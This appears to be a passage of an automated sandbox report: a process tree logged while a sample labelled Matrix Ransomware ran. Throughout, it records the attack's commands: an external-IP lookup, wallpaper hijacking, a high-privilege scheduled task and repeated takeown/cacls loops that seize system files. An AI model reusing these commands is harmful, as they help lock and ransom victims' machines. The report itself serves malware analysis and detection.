PID 1928 wrote to memory of 1552	1928	cmd.exe	fioBxEuy.exe
PID 1292 wrote to memory of 2132	1292	cmd.exe	fioBxEuy.exe
PID 1292 wrote to memory of 2132	1292	cmd.exe	fioBxEuy.exe

C:\Users\Admin\AppData\Local\Temp\c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
"C:\Users\Admin\AppData\Local\Temp\c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe"
1⤵
- Matrix Ransomware
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe" "C:\Users\Admin\AppData\Local\Temp\NWJRweQX.exe"
  2⤵
  PID:556
- C:\Users\Admin\AppData\Local\Temp\NWJRweQX.exe
  "C:\Users\Admin\AppData\Local\Temp\NWJRweQX.exe" -n
  2⤵
  - Executes dropped EXE
  PID:3440
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\8WaOjkdE.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3388
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\lellOlvJ.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1464
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\lellOlvJ.bmp" /f
    3⤵
    - Sets desktop wallpaper using registry
    PID:2132
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
    3⤵
    PID:1568
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
    3⤵
    PID:2244
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\bcjWD5KC.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1384
- - C:\Windows\SysWOW64\wscript.exe
    wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\bcjWD5KC.vbs"
    3⤵
    - Checks computer location settings
    PID:2360
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\yH4p7ceE.bat" /sc minute /mo 5 /RL HIGHEST /F
      4⤵
      PID:1208
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\yH4p7ceE.bat" /sc minute /mo 5 /RL HIGHEST /F
        5⤵
        Creates scheduled task(s)
        
        PID:3924
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
      4⤵
      PID:1128
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Run /I /tn DSHCA
        5⤵
        
        PID:1104
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C
    3⤵
    PID:3840
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3880
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "store.db" -nobanner
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2908
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "store.db" -nobanner
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1880
    - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy64.exe
        
        fioBxEuy.exe -accepteula "store.db" -nobanner
        5⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Enumerates connected drives
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:1528
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\USOPrivate\UpdateStore\store.db""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1292
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C
    3⤵
    PID:1280
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\USOPrivate\UpdateStore\store.db"
    3⤵
    - Modifies file permissions
    PID:3460
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "store.db" -nobanner
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1928
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "store.db" -nobanner
      4⤵
      Executes dropped EXE
      PID:1552
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:2132
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db""
  2⤵
  PID:316
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db" /E /G Admin:F /C
    3⤵
    PID:1128
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1420
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "SmsInterceptStore.db" -nobanner
    3⤵
    PID:2512
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "SmsInterceptStore.db" -nobanner
      4⤵
      Executes dropped EXE
      PID:2380
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:584
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa""
  2⤵
  PID:1892
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa" /E /G Admin:F /C
    3⤵
    PID:2132
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa"
    3⤵
    PID:3616
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "classes.jsa" -nobanner
    3⤵
    PID:3296
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "classes.jsa" -nobanner
      4⤵
      Executes dropped EXE
      PID:4044
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:3828
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Program Files\Java\jre1.8.0_66\bin\server\classes.jsa""
  2⤵
  PID:2380
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files\Java\jre1.8.0_66\bin\server\classes.jsa" /E /G Admin:F /C
    3⤵
    PID:2104
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Program Files\Java\jre1.8.0_66\bin\server\classes.jsa"
    3⤵
    PID:2168
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "classes.jsa" -nobanner
    3⤵
    PID:2740
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "classes.jsa" -nobanner
      4⤵
      Executes dropped EXE
      PID:4044
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:2988
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml""
  2⤵
  PID:3924
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml" /E /G Admin:F /C
    3⤵
    PID:2536
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1760
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "AssemblyList_4_extended.xml" -nobanner
    3⤵
    PID:400
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "AssemblyList_4_extended.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:3264
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:3960
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""
  2⤵
  PID:2132
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml" /E /G Admin:F /C
    3⤵
    PID:1152
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:4044
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:1112
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:1384
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml""
  2⤵
  PID:2968
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml" /E /G Admin:F /C
    3⤵
    PID:3196
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3992
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:2004
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:4072
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:876
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml""
  2⤵
  PID:3320
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml" /E /G Admin:F /C
    3⤵
    PID:1208
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2596
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftNotepad.xml" -nobanner
    3⤵
    PID:3140
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftNotepad.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:1152
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:628
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml""
  2⤵
  PID:2740
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml" /E /G Admin:F /C
    3⤵
    PID:2132
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1912
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2016BackupWin64.xml" -nobanner
    3⤵
    PID:1280
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2016BackupWin64.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:3304
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:940
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml""
  2⤵
  PID:4072
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml" /E /G Admin:F /C
    3⤵
    PID:2968
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3232
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "NetworkPrinters.xml" -nobanner
    3⤵
    PID:3924
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "NetworkPrinters.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:4020
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:3556
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat.LOG1""
  2⤵
  PID:1152
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat.LOG1" /E /G Admin:F /C
    3⤵
    PID:3320
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat.LOG1"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "75fbd12bafcbd46e_COM15.dat.LOG1" -nobanner
    3⤵
    PID:4036
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "75fbd12bafcbd46e_COM15.dat.LOG1" -nobanner
      4⤵
      Executes dropped EXE
      PID:3308
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:3196
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.09e7ff5b-1423-46b2-b532-1a0d4e606151.1.etl""
  2⤵
  PID:2512
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.09e7ff5b-1423-46b2-b532-1a0d4e606151.1.etl" /E /G Admin:F /C
    3⤵
    PID:3804
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.09e7ff5b-1423-46b2-b532-1a0d4e606151.1.etl"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1420
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "UpdateSessionOrchestration.09e7ff5b-1423-46b2-b532-1a0d4e606151.1.etl" -nobanner
    3⤵
    PID:2968
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "UpdateSessionOrchestration.09e7ff5b-1423-46b2-b532-1a0d4e606151.1.etl" -nobanner
      4⤵
      Executes dropped EXE
      PID:3232
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:1208
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml""
  2⤵
  PID:1604
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml" /E /G Admin:F /C
    3⤵
    PID:1220
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3524
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "AssemblyList_4_client.xml" -nobanner
    3⤵
    PID:1436
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "AssemblyList_4_client.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:1912
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:948
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png""
  2⤵
  PID:3312
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C
    3⤵
    PID:2168
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1760
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "superbar.png" -nobanner
    3⤵
    PID:2684
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "superbar.png" -nobanner
      4⤵
      Executes dropped EXE
      PID:2596
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:400
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml""
  2⤵
  PID:1208
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml" /E /G Admin:F /C
    3⤵
    PID:2380
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1508
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:3960
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:3308
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:1436
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1""
  2⤵
  PID:4036
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1" /E /G Admin:F /C
    3⤵
    PID:3172
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "OfficeIntegrator.ps1" -nobanner
    3⤵
    PID:908
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "OfficeIntegrator.ps1" -nobanner
      4⤵
      Executes dropped EXE
      PID:3264
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:1420
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml""
  2⤵
  PID:2968
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml" /E /G Admin:F /C
    3⤵
    PID:2964
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1096
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftInternetExplorer2013.xml" -nobanner
    3⤵
    PID:4044
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftInternetExplorer2013.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:2132
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:3240
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml""
  2⤵
  PID:3992
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml" /E /G Admin:F /C
    3⤵
    PID:2360
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2013Office365Win32.xml" -nobanner
    3⤵
    PID:3828
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2013Office365Win32.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:3112
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:3888
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml""
  2⤵
  PID:3840
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml" /E /G Admin:F /C
    3⤵
    PID:3196
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2328
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOutlook2016CAWin32.xml" -nobanner
    3⤵
    PID:3320
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOutlook2016CAWin32.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:4068
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:2132
- C:\Windows\SysWOW64\cmd.exe
